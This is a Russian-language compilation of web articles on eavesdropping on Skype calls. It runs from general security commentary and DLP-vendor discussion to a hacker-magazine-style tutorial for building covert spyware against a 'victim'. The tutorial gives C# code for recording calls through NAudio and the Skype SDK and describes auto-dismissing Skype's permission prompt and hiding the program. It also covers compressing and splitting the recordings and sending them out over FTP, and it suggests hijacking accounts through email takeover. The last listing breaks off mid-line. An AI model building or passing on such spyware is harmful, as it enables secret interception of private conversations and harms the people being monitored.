Можно ли прослушать разговоры по скайпу. Прослушивание Skype: правда и мифы

Часто приходиться слышать мнение, что Skype — это такая сверхнадежная программа, трафик которой не могу перехватить и прослушать даже спецслужбы.

По мнению Романа Идова, аналитика компании SearchInform , последние сыграли заметную роль в распространении этого мифа, который им только на руку. Эксперт попытался разобраться, можно или нет прослушать Skype.

Для начала хочу сделать небольшое замечание, касающееся любых вопросов о "невзалываемых", "непрослушиваемых" и т.п. системах. Дело в том, что таких систем в природе не бывает по одной простой причине: то, что придумал один человек, в состоянии "разобрать по кирпичикам" и проанализировать и другой, а раз так, то взлом — только вопрос времени.

Учитывая тот факт, что подобный анализ хорошо "параллелится" во времени, вопрос скорости взлома той или иной защиты — это вопрос количества и компетентности специалистов, которые им занимаются. А это, в свою очередь, сводится к стоимости труда этих специалистов. Из этого следует очень простой вывод: задача абсолютно любых систем безопасности — не сделать взлом невозможным, а максимально увеличить его стоимость таким образом, чтобы само обеспечение безопасности из-за своей дороговизны не стало бессмысленным.

Все это следует в обязательном порядке иметь в виду, говоря и о защищенности от прослушивания разговоров по Скайпу. То есть, в любом случае, если ваш разговор очень интересен, к примеру, госдепартаменту США, то у вас немного шансов на то, что удастся сохранить его в секрете.

Впрочем, для большинства людей, не являющихся международными террористами, "защищенность" Skype — это, прежде всего, защищенность от любопытных глаз:

Ближайшего окружения (коллеги, родственники, начальство);

Конкурентов и недоброжелателей;

Коварных хакеров, жертвой которых в Сети, как известно, может стать каждый.

Именно с этой точки зрения мы с вами и посмотрим на Skype.

Действительно, прослушать Skype путем анализа трафика не слишком просто. Это так по двум причинам: протокол Skype имеет распределенную структуру (как, например, тот же BitTorrent), также трафик пересылается в зашифрованном виде. Конечно, после того, как самый популярный в мире VoIP-мессенджер купила корпорация "Майкрософт", были внедрены многие функции, более тесно привязывающие приложение к центральным серверам, и поэтому сегодня уже говорить о том, что Skype — это в чистом виде распределенный протокол, не приходится. Это теоретически упрощает анализ трафика, но на практике это не очень сильно помогает именно прослушивать Skype, в отличие от его блокирования на уровне офиса.

Зашифрован Skype-трафик вполне надежно, причем это касается как голосового трафика, так и текста, а также пересылаемых по Скайпу файлов. Также достаточно надежно шифруется информация, нужная для аутентификации пользователя, поэтому того, что ваш Skype-аккаунт "уведут", можно, в принципе, не бояться. На самом деле, даже спецслужбы обычно не слишком утруждают себя анализом Скайп-трафика, просто обращаясь за нужной информацией в Microsoft. Для Китая корпорация, например, вообще выпустила специальную версию, которая не просто собирает информацию о потенциально опасных для властей КНР сообщений, но и осуществляет их цензуру.

С недавних пор, правда, Skype стал разрешать одновременно заходить из-под одного аккаунта с различных устройств, поэтому опасность стали представлять потерянные и украденные смартфоны, планшеты и ноутбуки. Но учитывая тот факт, что на подобных устройствах куда больше интересной для злоумышленников информации (например, пароли от электронных кошельков), можно считать, что в плане прослушивания Skype потеря или кража портативного устройства заметной опасности не представляет.

Впрочем, зашифрованность трафика Skype еще не значит, что его перехват совершенно бесполезен. Все дело в том, что осуществить перехват можно еще до того момента, как данные станут зашифрованными — для этого нужно перехватывать их не в сети, а на самом компьютере пользователя. Сделать это не так уж и трудно: звуковые данные можно перехватывать непосредственно с микрофона, текст — с клавиатуры, а файлы, зная их названия, и вовсе получить легче легкого. Поэтому безопасность Скайпа заканчивается там же, где она начинается — на компьютере пользователя этой программы.

Чтобы заниматься прослушиванием Скайпа, не нужно даже каких-то очень специфических решений. Даже в стандартной для Windows программе звукозаписи есть возможность выбрать в качестве входного канала Stereo Mixer, куда поступают все звуки с микрофона. А перехватить нажатия на клавиатуре может какой-нибудь простой клавиатурный шпион, который в два счета находится в Гугле или Яндексе. Всего два приложения, и у вас — готовая система слежения за Skype-переговорами своих домашних. Конечно, для компьютера кого-нибудь другого потребуются более продвинутые решения, и уже сегодня их, возможно, применяют ваши работодатели — они кровно заинтересованы в том, чтобы сотрудники не тратили оплачиваемое им время на пустые разговоры, не пересылали по Скайпу корпоративные секреты и не занимались другими непотребствами. Подобные решения называются DLP-системами (от английкого Data Leakage Prevention — предотвращение утечек данных), и мониторят обычно не только Skype, но и другие важные каналы передачи информации (электронную почту, социальные сети, внешние носители данных и т.д. и т.п.). Конечно, сегодня на постсоветском пространстве такая система используется только в каждой пятой компании, но нет сомнения в том, что в будущем в любой организации будут максимально тщательно контролировать своих сотрудников.

Считать ли Skype безопасным средством для ведения личных и деловых переговоров в свете всего, что сказано выше? Простого ответа на этот вопрос, к сожалению, быть не может. С одной стороны, разработчики приложения сделали максимум возможного для того, чтобы на этот вопрос можно было ответить утвердительно. С другой стороны, "спасение утопающих — дело рук самих утопающих", и поэтому без соблюдения пользователем хотя бы элементарных правил безопасности надеяться на то, что в один прекрасный день на компьютере не появится, к примеру, тот же клавиатурный шпион, не приходится.

То есть, чтобы переговоры по Скайпу были действительно безопасными, нужно установить и регулярно обновлять хороший антивирус, не обсуждать никакие личные вещи с рабочего компьютера, и не устанавливать никакие "дополнения" к Скайпу, которые могут предлагать в интернете — лишь в этом случае можно с уверенностью говорить о том, что перехват ваших разговоров не удастся осуществить никому, кроме спецслужб. Ну, а про них все уже было сказано выше.

Ещё совсем недавно мы представляли себе связь между людьми только по средствам стационарных телефонов, азбуки Морзэ, телеграфа и т.д. Но вот на дворе уже XXI век и для нас уже нет ничего необычного. Мобильные телефоны, компьютеры, различные гаджеты уже заполнили нашу жизнь, и удивить нас, пожалуй, уже нечем. Одним из новейших и динамично развивающихся направлений, является видео связь. Видео конференции, селекторные совещания, да и просто, видео-звонки считаются неотъемлемым способом связи.

Конечно, существует много способов видеосвязи, различные программы, специальные сервисы в Интернет, но мы поговорим, пожалуй, о самой популярной и доступной программе Skype. Первая версия программы была выпущена ещё в далеком 2003 году, но через пару лет была продана компании eBay, и с тех пор она претерпела очень много изменений, добавились новые сервисы, конференцсвязь и многое другое. На сегодняшний день, Skype является самой мощной и популярной программой для связи.

Обзор мессенджера Skype

А теперь зададимся вопросом: — «А возможно ли прослушать Skype ?». До недавнего времени считалось, что всё, что мы делаем в Интернете, анонимно и конфиденциально, но это не так! Последние события показали, что за всеми нами, даже в сети, следит «Большой папа»))). Так насколько мы защищены, пользуясь таким видом видеосвязи как Skype?

  • Для начала рассмотрим принцип работы программы. После недолгой установки дистрибутива, мы сразу попадаем в программу, вводим логин и пароль и вот, мы попадаем в мир, в котором расстояние не имеет значение! Но каким же образом происходит видео-связь? Одним из основных аргументов, защищающих разговор, который приводят нам разработчики, является то, что все данные передаются напрямую, обходя сервер и т.д., т.е. отсутствует третье лицо во время разговора. Но ведь как не крути, а два компьютера получают эту информацию. Конечно, сложные способы шифрования передаваемой информации постоянно улучшаются и модернизируются, что значительно усложняет, а порой и делает невозможным подключение к каналу передачи данных.

Обращу Ваше внимание на то, что в отличие от социальных сетей, все сообщения Skype и история хранятся на Вашем компьютере, соответственно даже если узнать логин и пароль, то получение этой информации с другого компьютера невозможно.

То есть получается, что Skype это непреступная крепость? А вот и нет, есть очень несложный и довольно эффективный способ – установить специальную на компьютер пользователя. Конечно, не всегда имеется доступ, но установка такой программы займет очень мало времени, фактический, достаточно нескольких минут и вот, Вы уже становитесь всевидящим! Программа, ведет перехват переписки Skype , ведет запись звонков Skype в формате mp3 и отправляет вам на email, при этом пользователь даже не будет догадываться, что его прослушивают. Но не забываете, что разработчики Skype, тоже не дремлют и постоянно выпускают обновления, которые блокируют подобные программы, но и разработчики «шпионов» тоже не стоят на месте и обновляют свои «детища»… и вот такая игра будет вечно)))

Приятного общения:-)!

Глобальные интересы стран, как показывает новейшая история, могут совпадать с интересами обычных компаний. Поэтому руководство и тех, и других заинтересовано в возможности мониторинга общения по Skype. Причины, которые побуждают к этому, очень разные, а вот цель всегда одна. Если государство собирается запретить Skype, то в бизнесе таких опрометчивых решений никто принимать не собирается. Это удобный инструмент, запрет которого может привести к огромным издержкам. Многие руководители нашли выход из положения. Если блокировать нельзя, значит, можно начать контролировать.

Вне конкурса

Первый способ, как узнать содержание чьей-то переписки, является настолько простым и очевидным, что причислять его к реальным техникам мониторинга просто не поднимается рука.

У Skype есть функция получения доступа к аккаунту сразу с нескольких устройств. Эта функция, с одной стороны, очень удобная, но с другой - она оборачивается настоящей проблемой для безопасности. Если кто-то знает ник и пароль в скайпе, то присутствие другого человека в сети можно даже не заметить. При этом такой человек сможет получать пересылаемые файлы, слышать звонки и следить за перепиской. Вся переписка окажется полностью скомпрометированной. Для такого рода деятельности, конечно, надо узнать ник и пароль. Но все логины доступны в обычном поиске по сети, а вторые можно добыть, взломав почтовый ящик и попросив Skype выслать на него «забытый» пароль.

«Минус» такого подхода заключается в том, что следить одновременно за несколькими людьми просто не получится. Про скрытность тоже не приходится говорить. Поэтому придется переходить к более сложным и специфическим методам слежения.

Вначале было слово

О расшифровках протоколов Skype говорят много, но найти конкретные решения, которые бы работали для широкой публики, пока все еще невозможно. Поэтому основные правила перехвата сводятся к тому, что нужно перехватить информацию еще до того, как программа ее зашифрует. Получается, что шпионский софт должен быть установлен на компьютере того, за кем организуется слежка. Проще всего, если рассматривать техническую сторону вопроса, перехватить звонки. Есть разные средства, которые работают «из коробки» (к примеру, Power Intercept или AnyMessageRecorder, другие подобные программы). Но такой способ перехвата информации требует предварительного физического доступа к компьютеру. Даже если добраться к нему получится, скрыть следы такой деятельности будет проблематично.

Другой способ перехвата информации можно реализовать через штатные средства Windows. Задействовать стандартный WinAPI+.NETFramework, чтобы записывать звук с микрофона. Но недостатков у такого способа будет гораздо больше, чем полезного функционала. Потому что при такой прослушке будут записаны не только разговоры, но и прослушиваемая музыка с другими посторонними шумами. Если же функция стереомикшера на компьютере отключена, то перехватывать вообще будет нечего.

Но это не единственные подходы, которые могут помочь в перехвате звонков в Skype. Более сложная схема требует использования официального набора инструментов разработчика (SDK), который предоставляется самими разработчиками. Если немного доработать SDK, то на одном из шаблонов метода получения информации о текущем звонке будет реализована запись звука с микрофона, ответы собеседника в ходе беседы.

Прямая насыщения

Как и в математике при доказательстве теорем, при перехвате Skype есть условия необходимые, а есть достаточные. В этом ключе перехват звонков - необходим, но не достаточен. Если рассматривать реальную компанию, то вряд ли потенциальный «крот», или, говоря на языке специалистов по информационной безопасности, инсайдер, будет вслух надиктовывать сообщникам бизнес-планы или номера кредитных карт. Скорее всего, он либо перешлет информацию в файле, либо отправит сообщением. Это приводит к логическому выводу о том, что для качественного мониторинга Skype необходим не только перехват звонков, но и чатов, смс, а также пересылаемых файлов. Реализовать подобный функционал также можно с помощью SDK, черпая полезные знания из открытых документов и описаний библиотеки Skype4COMLib.

Но и здесь, как обычно, присутствуют минусы. Они, конечно, не такие серьезные, как в подходах, описанных ранее, но все же. При старте приложения, написанного с использованием SDK, Skype автоматически спросит «разрешить ли доступ?». Не нужно быть экстрасенсом, чтобы предугадать ответ пользователя. Поэтому необходимо предусмотреть автоматическое «одобрение» без участия человека. Эта проблема может быть решена, к примеру, через штатные функции WindowsFindWindow, GetWindowText и ряд других. Принципы подробно расписывались во времена расцвета «угонов» электронных кошельков WebMoney несколько лет назад.

По сути, перехват информации из Skype в нынешних условиях представляет собой не что иное, как работу логгера. Но организовать перехват - это лишь половина успеха. Информацию еще нужно где-то хранить, а затем пересылать. В случае перехвата звука также необходимо заботиться об объеме файлов, т.к. писать и пересылать WAV-файлы не столько роскошь, сколько глупость (в плане сокрытия действий программы от пользователя). Все это приводит руководителей компаний к проблеме выбора.

На распутье

Поэтому первым вариантом будет заказать у хакера написание утилиты для перехвата Skype. Вариант этот упоминается, скорее, в ознакомительных целях, потому что он сопряжен с большой долей риска.

Сама по себе такая сделка не может быть проведена официально - это первый недостаток. Второй недостаток - если деньги уплачены, а работа не сделана (или сделана плохо), то вернуть их уже вряд ли получится (потому что сделка-то неофициальная). Если подделка будет работать хорошо, все равно нет гарантий, что исполнитель не оставит для себя определенной лазейки. Он сможет получить доступ к переписке компании, а дальше все зависит от совести такого хакера: может начаться шантаж начальства и сотрудников, информация может быть передана для публикации в открытые источники. Любое развитие событий не пойдет на пользу фирме, поэтому грамотные руководители на такой шаг просто не идут.

DLP-система

Наиболее безопасным способом мониторинга Skype-активности сотрудников является использование DPL-системы. Ее название имеет полный английский эквивалент: DataLeakPrevention. Данная система специально разработана для защиты от утечки информации. Мониторинг Skype в некоторых из подобных систем уже успешно реализован. Но только единицы способны на полный перехват и анализ информации.

Кроме того, понимая важность доверия со стороны заказчиков, производители DLP-систем проходят сертификацию. Наличие сертификата означает отсутствие недекларированных возможностей, бэкдоров и т.п., и является гарантией того, что обрабатываемая системой информация не передается третьим лицам.

К минусам DLP-систем следует отнести их стоимость. Помимо этого, далеко не все системы этого класса являются модульными. То есть заказчик не может купить себе только средство контроля мессенджеров, веба или принтеров. Системы, продающиеся «целиком и сразу», вынуждают компании переплачивать за те возможности и решения, которые они не планируют использовать.

И чтобы не заканчивать на негативной ноте, взглянем на проблему перехвата Skype чуть шире. Даже если информация была успешно перехвачена и передана, ее необходимо анализировать. Читать все и всех «по старинке» нерационально. При таком подходе один офицер безопасности хорошо если способен охватить 20-50 человек. А если сотрудников несколько сотен или тысяч? Поэтому главным козырем современных DLP-систем является их способность к автоматическому анализу информации с помощью различных поисковых алгоритмов и отработка заданных политик безопасности.

Послесловие

Не так давно стало известно о том, что с 1 декабря 2013 года Microsoft собиралась закрыть APISkype под предлогом того, что «оно морально устарело». Другими словами, все сторонние приложения (в частности, модули перехвата ряда DLP-систем), работающие в виде плагинов через API, перестанут работать. Однако на улице год 2014-й, а API по-прежнему работает. Забыли ли его закрыть, или Microsoft прислушалась к возмущенным письмам сторонних разработчиков - неизвестно. Главное, что угроза закрытия API подтолкнула разработчиков DLP-систем к пересмотру подхода перехвата Skype в лучшую сторону. Сегодня этот мессенджер перехватывается на более «универсальном» уровне. К сожалению, подробности на данный момент рассказывать запрещено.

Зато любопытно другое: пару лет назад Microsoft подала заявку на патент, описывающий технологию, которая позволит перехватывать разговоры в системах интернет-телефонии. В тексте патента Skype упоминался в качестве одного из сервисов, в которых новая технология может найти применение. Если принять во внимание те факты, что в мае 2011 года IT-гигант приобрел Skype за $8,5 млрд, а спустя несколько месяцев опубликовал документ с описанием технологии Legal Intercept (легального перехвата), позволяющей незаметно для пользователя считывать информацию, передаваемую по каналам интернет-телефонии, становится понятно, что ставить точку в вопросе контроля Skype еще рано.

.
Если раньше нам нужно было часами отвисать в текстовых чатах, набивая килобайты
информации, то теперь, благодаря распространению безлимитного инета вплоть до
российской глубинки, даже самые удаленные от столицы интернетчики могут познать
радость голосового общения.

Способы перехвата

С целью мы определились и теперь нужно начитаться скучной теории, без которой
в таком деле продвинуться нереально. Прогуляйся по улице, свари себе чашечку
глинтвейна, расположись удобнее в кресле и начинай впитывать священные знания.

Способ #1

Буквально в начале октября 2009 года один умелец написал продвинутый снифер,
о котором написали во всех security-ресурсах всемирной паутины. Если верить
новостям и автору снифа, то выходит, что перцу удалось перехватить скайп-трафик
(ну, это можно было сделать и раньше) и, что самое главное – расшифровать его.

Обойти такое событие стороной я не мог, поэтому немедленно решил найти
заветный исходничек (автор снифера был чертовски добр и выложил на паблик полный
сорец), но жестко обломался. Враги народа убрали заветный сорец с сабжевого
сайта, а часовой марш-бросок по гуглу нормальных результатов не дал. Мне лишь
попадались какие-то нерабочие сорцы.

Совсем отчаявшись, я плюнул на этот вариант. Стоп! Если ничего не вышло, то
зачем я все это тебе рассказываю? Все просто, ситуация меняется каждый день и
вполне возможно, что к моменту выхода статьи в свет на просторах всемирной
паутины появятся рабочие сорцы этого тройчика. Чем черт не шутит. Учти, если
удастся найти заветный исходник, то считай, что у тебя в руках все козыри и
теперь все скайперы станут для тебя мишенями.

Способ #2

Несомненно, первый способ — самый лучший, но с реализацией реальный напряг.
Буду откровенен: я уже отчаялся и хотел положить на всю затею железный болт, но
редактор рубрики был другого мнения. После пары намеков, двух ударов по почкам и
печени я не смог отказать в подготовке материала. Как оказалось, сделал я это не
зря.

Если не получается достичь цели напрямую, то нужно заходить с тылу. Так
поступил и ваш покорный слуга. Идея проста до безобразия и, возможно, ты уже
даже юзал эту фичу для какого-нибудь благого дела.

Не буду ходить вокруг да около, а раскрою все карты. Итак, в горячо мной
любимых операционных системах от Microsoft есть такая фича — стерео-микшер.
Немногие знают, что благодаря этой, казалось бы, бесполезной приблуде и
какого-нибудь языка программирования реально сварганить полноценного
skype-шпиона.

Активируй в своей (или не совсем своей?) системе стерео-микшер, и тебе
становятся подвластными оба звуковых потока – тот, которой идет на микрофон и
соответственно тот, который поступает на колонки/наушники. Догадываешься, к чему
я клоню? Все верно, чтобы зарипать беседу двух людей по скайпу, тебе лишь
потребуется воспользоваться стандартным WinAPI/объектами для записи звука с
микрофона.

Сделать это достаточно просто и убедиться в этом ты сможешь, взглянув на
врезку 1. В нем я привел часть, отвечающего за запись звука. Не торопись все это
переписывать, сразу он у тебя все равно не скомпилится.

Увы, несмотря на всю мощь и безграничные возможности.NET Framework, в нем
совершенно отсутствуют инструменты для записи звука. Несомненно, в будущих
версиях этот пробел будет восполнен, но мы-то ждать не можем!

Многие.NET-разработчики для организации в своих приложениях возможности
записи звука используют банальные вызовы API-функций. Вариант неплохой, но
крайне неудобный. Я пошел несколько другим путем и воспользовался наработками
Mark Heath.

Этот человек потрудился на славу и создал проект NAudio – аудиоредактор с
открытым исходным кодом. В рамках проекта Марк написал каркас, позволяющий
максимально удобно взаимодействовать с различными WinAPI-функциями для работы со
звуком.

NAudio доступен на . Просто
подтяни его модули к своему проекту и тебе станут доступны все необходимые
классы. Записывать звук с их помощью крайне просто. Да ты, наверное, в этом уже
убедился:).

В самом начале листинга я определяю формат WAV-файла. Для этого мне требуется
установить количество каналов (в нашем случае будем писать в mono) и частоту
сэмпла. Кроме настроек формата аудиофайла, мне требуется определить устройство
(device number), с которого мы будем захватывать звук. Я устанавливаю 0, что
соответствует устройству записи "по умолчанию".

Узнавать об очередной порции поступивших на звуковую карту данных нам может
событие waveIn_DataAvaible(). Если оно сработало, то значит пришли данные и их
требуется записать.

А вот и первые минусы

Не спеши пускать слюни и пытаться впопыхах сотворить зловреда для Skype.
Предложенный мной способ хорош и полностью работоспособен, но у него есть
несколько минусов, о которых тебе необходимо узнать заранее. Некоторые из них:

1. Нет никаких гарантий, что в системе пользователя стерео-микшер вообще
будет активен. Да, он включен по умолчанию, но многие пользователи принудительно
отключают его. Зачем? Лично мне приходится это делать из-за того, что я пишу
подкасты и мне крайне важно, чтобы звук захватывался лишь с моего микрофона, а
не голоса соведущего.

Твоя программа должна быть готова к такому положению дел и в случае чего
суметь самостоятельно внести нужные настройки. Вот здесь возникают небольшие
сложности, но разве кто-то говорил, что будет совсем просто?

2. Нет четкого ориентира, на который можно опереться и 100% заверить, что
именно сейчас пользователь начал общаться со своим собеседником. На одном из
кодерских форумов для решения данной траблы предлагали следующий способ:
анализировать звук, поступающий на микрофон и в случае обнаружения больших
скачков звуковой волны (т.е. когда человек начинает орать/говорить) приступать к
записи. Для прерывания следует руководствоваться примерно таким алгоритмом –
ждем тишины и, если она длится более n минут, прекращаем захват звука.

Предложенный алгоритм, несомненно, хорош, но в описанном выше виде им лучше
не пользоваться. Попробую объяснить, почему. Заюзав данный способ в чистом виде,
ты рискуешь напороться на большое количество ложных срабатываний. Если на
вражеской территории микрофон лежит возле колонок, из которых без устали звучит
heavy metal, то твой трой будет постоянно вести запись, и во время сбора урожая
ты обнаружишь, что у тебя появился сборник всех любимых треков твоей жертвы. Что
же тогда делать? Надеяться на авось и писать все подряд? Можно, но это как-то не
по-хакцерски.

Я провел небольшой мозговой штурм и пришел к выводу, что озвученным выше
способом пользоваться можно, но только предварительно организовав страховку.
Страховка может быть, как минимум, двух видов:

1. Хуки. В нашем журнале мы неоднократно описывали технику применения хуков,
и еще раз расписывать все подробности и, тем более, приводить примеры, меня
сильно обламывает. Ты уже не маленький и такие вещи должен знать:). Я лишь
подскажу алгоритм:

a. Ставим хук на обработку создания новых окон.

b. Реализуем проверку, в которой обрабатываем каждое вновь созданное окно. В
коде проверки мы должны смотреть на: родителя окна, класс окна, заголовок и т.д.
По этим признакам мы можем распознать окно входящего Skype-звонка и в случае
чего начать запись.

2. Функции для работы с окнами. Вторым вариантом решения задачи будут хорошо
знакомые тебе WinAPI-функции для работы с окнами. Ты ведь еще помнишь такие
слова, как FindWindow, EnumWindows, EnumChildWindows и т.д.? С помощью этих API
реализовывается банальный поиск окна входящего звонка. Если окно найдено, то это
означает, что жертва начала базарить по скайпу, в противном случае нужно
выполнить поиск чуть попозже. Периодичность поиска должна быть минимальной,
иначе ты рискуешь пропустить секретные звонки.

Способ #3

И вот мы медленно, но верно добрались до самого простого и удобного способа
записи skype-бесед. Немногие знают, что разработчики Skype поощряют людей,
имеющих желание разрабатывать всякие полезняшки для их детища. Само поощрение
выражается в разработке и обновлении официального SDK.

На основе компонент, входящих в SDK, программисты могут создавать аддоны или
просто приложения на базе Skype. В качестве одной из вкусностей этого наборчика
можно выделить наличие примеров для разных популярных языков программирования.
Тут тебе и C++, и C#, и даже великий и могучий Delphi не забыт (кстати, не все в
курсе, но сам Skype написан на Delphi). Одним словом, этот SDK – рай для
программистов, решивших поковырять Skype.

Для нас с тобой SDK – это даже круче, чем рай. На базе этого каркаса мы
сможем не только записать голосовое общение пользователя, но и перехватить
полученные и отправленные им текстовые сообщения, файлы, совершить звонок от его
имени и т.д.

Но не будем бежать впереди паровоза, восхваляя то, что еще пробовали, а
познакомимся со всеми нюансами на примере.

Лезь на наш DVD и устанавливай SDK. Установка не должна вызвать затруднений.
Просто запусти файлик из папочки SDK и соглашайся со всем, что у тебя спросят.
Завершив установку – запускай Visual Studio (я использовал 2008-ю версию) и
создавай новый проект. В качестве типа проекта выбери шаблон SEHEwc.

Пока у тебя создается проект, я вкратце расскажу про шаблон SEHEwc. По правде
говоря, это не совсем шаблон в привычном нам понимании. В реале это полноценный
пример, демонстрирующий все возможности хваленого мной SDK. Демка написана очень
хорошо и разбираться в ее коде одно удовольствие.

До начала погружения в код стартани свой скайп и запусти созданный прожект (я
сейчас про шаблон). При выполнении исходника твой скайп преданно отрапортует,
что такое-то приложение пытается получить доступ к его функциям. Давай добро и
попробуй отправить через скайп текстовое сообщение. Не успеешь его запулить, как
весь отправленный текст появится в текстовом поле. Это означает, что
демонстрационный пример успешно работает.

Мощность примера не вызывает сомнений. На первый взгляд может показаться, что
его код дает ответы на самые изощренные вопросы, связанные с программированием
скайпа. Но, самая нужная для нас фича – запись разговоров, в нем, увы, не
реализована. Что ж, будем исправлять ситуацию.

Перейди в редактор кода и найди описание метода OurCallStatus. В его теле
описано получение различной инфы о текущем звонке. Это все хорошо и безумно
интересно, но мы хотим другого. Сотри имеющийся код, и вместо него перепиши
содержимое третьей врезки. Пока ты будешь переписывать, я расскажу о том, что
там происходит.

В самой первой строке я выполняю проверку и сравниваю значение переменной
status с со значением clsInProgress перечисления TCallStatus (ух,
настальгическая дельфячья буковка T перед именем типа:)). Если они равны, то
беседа в самом разгаре и пора начинать запись звука.

Теперь приготовься и не упади со стула, когда узнаешь, что запись
осуществляется всего лишь одной строкой:

call.set_CaptureMicDevice(TCallIoDeviceType.callIoDeviceTypeFile,
@"Путь, куда сохранять" + call.Id.ToString() + ".wav");

В первый параметр метода set_captureMicDevice требуется передать устройство,
на которое будет выведен поток с микрофона. Типы устройств хранятся в
перечислении TCallIoDeviceType. Мы хотим захватывать звук в файл, поэтому ставим
callIoDeviceTypeFile. Второй параметр зависит от первого. В нашем случае в нем
передается путь к файлу, в который будем сохранять результат записи.

Обрати внимание, что вызовом метода set_captureMicDevice мы сохраним лишь
голос нашей жертвы, а те, с кем она говорит – останутся за кадром. Записывать
собеседников мы будем при помощи метода set_OutputDevice:

call.set_OutputDevice(TCallIoDeviceType.callIoDeviceTypeFile, @"Путь
куда сохранять" + call.Id.ToString() + ".wav");

Параметры у него точно такие же, как и у предыдущего, поэтому дважды
рассказывать не буду:).

Можно сказать, что все готово. Компиль и запускай проект. При стартинге не
забудь одобрить в скайпе инжект, иначе ничего захватить не получится.

Попробуем протестировать наше приложение в реальных условиях. Попроси своего
приятеля, чтобы он позвонил тебе по скайпу и немного поболтал с тобой.

Если при переписывании листинга ты был крайне внимателен, то по переданным в
методы captureMicDevice и set_OutputDevice путям для сохранения файлов, будут
лежать свежеиспеченные WAV’ки. Прослушай их в своем плеере и убедись, что все
работает как надо.

Пользоваться SDK крайне просто (особенно если пишешь под.NET) и его
возможности будут однозначно востребованы при разработке профессионального
skype-logger’a.

Я не буду тебе рассказывать, как выполнять перехват текстовых сообщений и
другой полезной инфы. Все это делается путем вызова парочки методов, которые
подробно документированы. Доки (само собой на английском) всегда доступны на
официальном портале:

https://developer.skype.com/Docs/Skype4COMLib . Если ты испытываешь проблемы
с инглишем, то не расстраивайся. Просто посмотри код шаблона приложения. Думаю,
ты во всем разберешься. В крайнем случае – пиши мне.

Досадные ограничения

У официального SDK есть один, но крайне большой, минус. При запуске твоего
приложения скайп будет постоянно бить тревогу. Сам понимаешь, если жертва увидит
странное окошко с вопросом: "а разрешить ли этому приложению доступ?", то с
99,9% вероятностью она нажмет на кнопочку "Нет" и ты останешься в пролете. Чтобы
этого не случилось, я рекомендую тебе делать две проги – одна будет
ориентирована на захват звука и написана на удобном C#, а вторая является своего
рода загрузчиком. Ее основной целью будет незаметное пребывание в системе,
скрытие/нажатие кнопок ненужных окон (это про окошко одобрения запуска). Кроме
того, через эту самую прогу-загрузчик можно будет реализовать все функции
удаленного управления и т.д. В общем, идею ты понял.

Как бороться с "ненужными" окнами?

И во втором и в третьем методе захвата скайп-бесед мы напоролись на проблему
— взаимодействие с окнами чужого приложения. Я говорил, что о работе с чужими
окнами в нашем журнале мы рассказывали много раз (рекомендую статью про угон
кошельков веб мани, опубликованную года 3-4 назад), но если ты только влился в
нашу тусовку и не знаешь, что да как, не поленись, зайди на bing.com и поищи там
на предмет функций FindWindow, GetWindowText, PostMessage. Поисковик мелкомягких
сразу же тебя выведет на нужный раздел MSDN’а и ты быстренько сможешь
познакомиться с этими полезными функциями.

Вывод файлов

Рано или поздно ты столкнешься с еще одной большой проблемой – сбором урожая.
Безошибочно сейвить всю болтовню жертвы, конечно же, хорошо, но какой толк от
награбленного добра, если его нельзя забрать и проанализировать? Верно,
никакого.

Шпион для скайпа – это не кейлоггер и его логи так просто по почте не
отправишь. Мало того, что файлы со звуком брутально весят, так еще и пересылать
их протоколу smtp совсем не айс.

Задача вывода файлов усложняется в несколько раз, если юзер сидит не на
безлимите (да-да, такие еще встречаются). В этом случае пересылка больших по
объему файлов не останется незамеченной в статистике и это обязательно
насторожит продвинутого пользователя. Особенно, когда он будет испытывать
большие тормоза во время нахождения в сети.

Немного покумекав, я пришел к следующему алгоритму:

  1. Кодирование каждого файла со звуком в формат mp3. Изначально все разговоры
    нашей жертвы мы писали в WAV’ы, которые очень много весят. Например, средний
    размер продолжительной беседы (около часа) может достигать 50-80 метров (в
    зависимости от настроек). Пересылать такой файл в чистом виде, мягко говоря,
    нереально. Перекодировка в формат mp3 частично решит проблему размера. Если
    выставить максимальную степень сжатия и минимальный битрейт, то размер удастся
    сократить в 3-4 раза. Это уже лучше, но не идеально. Вывод тех же 5 метров
    может показаться затруднительным.
  2. Разбивка файла на более мелкие части. В предыдущем абзаце я сказал, что
    даже такая операция как кодирование файла в mp3 не спасет тебя от проблем с
    пересылкой. Лучше всего разбить сжатый файл на более мелкие части и отправлять
    уже их. Например, раздробить mp3 на частички по 300-500 Кб. Такие крохотульки
    будет куда проще и быстрее вывести с поля битвы.

По подготовке файлов к отправке я вроде все сказал. Быстренько пробежимся по
способу отправки. Несколькими абзацами выше, я заявил, что пересылать такие вещи
по smtp не очень правильно, да и попросту проблематично. Куда лучше заюзать
проверенный годами старый добрый ftp! Встроить в свое.NET-приложение
простенький FTP-клиент – что может быть проще? Взгляни на врезку и убедись сам.

Happy end

Нет предела возможностям человека и нет предела совершенству. Нерешаемых
задач не бывает и все трудности можно преодолеть. Сегодня я рассказал тебе про
строение скелета voice-logger’a, и дальнейший выбор зависит только от тебя. Либо
ты сведешь всю полученную инфу в одну кучу и создашь неуловимого шпиона для
скайпа, либо разработаешь профессиональный инструмент для легального бэкапа
переговоров:). Выбор за тобой, мне лишь остается попрощаться и пожелать тебе
удачи!

P.S. Полные исходники моего трояна не проси. Все равно не дам, я жадный:). А
если серьезно, я не поддерживаю такие вещи и не хочу, чтобы многие тупо компили
готовый проект и приступали к боевым действиям. Прослушка разговоров – это
вторжение в личную жизнь, а это, помимо незаконности, еще и подло! До встречи!

Warning

Подслушивание чужих разговоров – глубоко незаконная вещь. Используй
полученную информацию только для создания бэкапера своих разговоров!

Врезка 1. Записываем звук

//Подготавливаемся к записи
waveIn = new WaveIn();
waveIn.DeviceNumber = 0;
waveIn.DataAvailable += waveIn_DataAvailable;
int sampleRate = 8000;
int channels = 1;

waveIn.WaveFormat = new WaveFormat(sampleRate, channels);
waveIn.StartRecording();

void waveIn_DataAvailable(object sender, WaveInEventArgs e)
{
if (recordingState == RecordingState.Recording)
writer.WriteData(e.Buffer, 0, e.BytesRecorded);

Врезка 2. Запись входящих звонков в файл

try
{
// Запись входящего звонка
if (status == TCallStatus.clsInProgress)
{
//Захватываем звук и сохраняем его в
//файл (поток пользователя)
call.set_CaptureMicDevice(

@"C:\temp\sound_user" + call.Id.ToString() +
".wav");

// Захватываем звук и сохраняем
//его в файл (всех остальных собеседников
call.set_OutputDevice(
TCallIoDeviceType.callIoDeviceTypeFile,
@"C:\temp\sound_people" + call.Id.ToString() +
".wav");

}
}
catch (Exception e)
{
//Выведем ошибки
AddTextToTextBox1(DateTime.Now.ToLocalTime() + ": " +
" Our Code – Невозможно выполнить захват аудио: " + call.Id.ToString() +
